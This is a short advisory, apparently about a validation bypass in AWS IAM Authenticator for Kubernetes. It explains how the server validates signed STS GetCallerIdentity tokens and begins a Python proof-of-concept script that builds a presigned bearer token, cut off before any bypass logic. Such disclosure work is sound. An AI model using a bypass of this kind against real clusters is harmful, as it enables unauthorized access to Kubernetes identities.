Bypass validation parts in AWS IAM Authenticator for Kubernetes

Summary: Whenever the aws-iam-authenticator server gets a POST request to /authenticate it extracts the token and validates it. The token's content is a signed AWS STS request to the GetCallerIdentity endpoint, where the response content is used to map to matching K8s identity (username, groups).

import base64
import boto3
import re
from botocore.signers import RequestSigner

REGION = 'us-east-1'
CLUSTER_ID = 'gaf-cluster'


def get_bearer_token(url, headers):
    STS_TOKEN_EXPIRES_IN = 60
    session = boto3.session.Session()

    client = session.client('sts', region_name=REGION) …